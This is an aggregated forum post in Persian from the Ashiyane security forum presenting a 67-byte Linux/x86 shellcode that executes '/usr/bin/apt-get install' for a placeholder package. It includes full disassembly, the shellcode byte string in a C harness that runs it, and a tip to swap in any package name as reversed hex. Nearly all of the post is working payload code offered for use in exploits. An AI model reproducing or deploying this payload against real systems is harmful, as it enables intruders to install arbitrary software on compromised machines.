Quantcast
Channel: انجمن گروه آشیانه - آموزش امنیت و راه های مقابله با هک
Viewing all articles
Browse latest Browse all 19202

Linux/x86 - apt-get install aaaa - ShellCode

$
0
0
سلام

یک شل کد دیگه که می تونید باهاش پکیج مورد نظرتون رو نصب کنید
به جای aaaa می تونید اسم پکیجتون رو بذارید (البته هکس و معکوس ;) )

کد:

/*
        In The Name of G0D
       
        Linux/x86 - apt-get install aaaa 
        Size : 67 Bytes
       
        Author : By Hamid Zamani (aka HAMIDx9)
        Member of ^^Ashiyane Digital Security Team^^
       

08048054 <_start>:
 8048054:        31 d2                        xor    %edx,%edx
 8048056:        31 c0                        xor    %eax,%eax
 8048058:        31 db                        xor    %ebx,%ebx
 804805a:        31 f6                        xor    %esi,%esi
 804805c:        31 c9                        xor    %ecx,%ecx
 804805e:        52                          push  %edx
 804805f:        68 61 61 61 61              push  $0x61616161 <= aaaa package , replace with yours !
 8048064:        89 e6                        mov    %esp,%esi
 8048066:        52                          push  %edx
 8048067:        eb 22                        jmp    804808b
 8048069:        59                          pop    %ecx
 804806a:        52                          push  %edx
 804806b:        68 2d 67 65 74              push  $0x7465672d
 8048070:        68 2f 61 70 74              push  $0x7470612f
 8048075:        68 2f 62 69 6e              push  $0x6e69622f
 804807a:        68 2f 75 73 72              push  $0x7273752f
 804807f:        89 e3                        mov    %esp,%ebx
 8048081:        52                          push  %edx
 8048082:        56                          push  %esi
 8048083:        51                          push  %ecx
 8048084:        53                          push  %ebx
 8048085:        89 e1                        mov    %esp,%ecx
 8048087:        b0 0b                        mov    $0xb,%al
 8048089:        cd 80                        int    $0x80
 804808b:        e8 d9 ff ff ff              call  8048069
 8048090:        69 6e 73 74 61 6c 6c        imul  $0x6c6c6174,0x73(%esi),%ebp
 8048097:        6c                          insb  (%dx),%es:(%edi)

*/

#include <stdio.h>

int main()
{

char shellcode[] = "\x31\xd2\x31\xc0\x31\xdb\x31\xf6\x31"
                                  "\xc9\x52\x68"
                                  "\x61\x61\x61\x61"  // <= aaaa package , replace it with yours ;)
                                  "\x89\xe6\x52\xeb\x22\x59\x52\x68\x2d"
                                  "\x67\x65\x74\x68\x2f\x61\x70\x74\x68"
                                  "\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72"
                                  "\x89\xe3\x52\x56\x51\x53\x89\xe1\xb0"
                                  "\x0b\xcd\x80\xe8\xd9\xff\xff\xff\x69"
                                  "\x6e\x73\x74\x61\x6c\x6c";
                                 

        printf("Length: %d\n",strlen(shellcode));
        (*(void(*)()) shellcode)();
       
        return 0;
                                 
}

موفق باشید

فایل های پیوست شده
نوع فایل: gz apt-get-shellcode.tar.gz (929 بایت)

Viewing all articles
Browse latest Browse all 19202

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>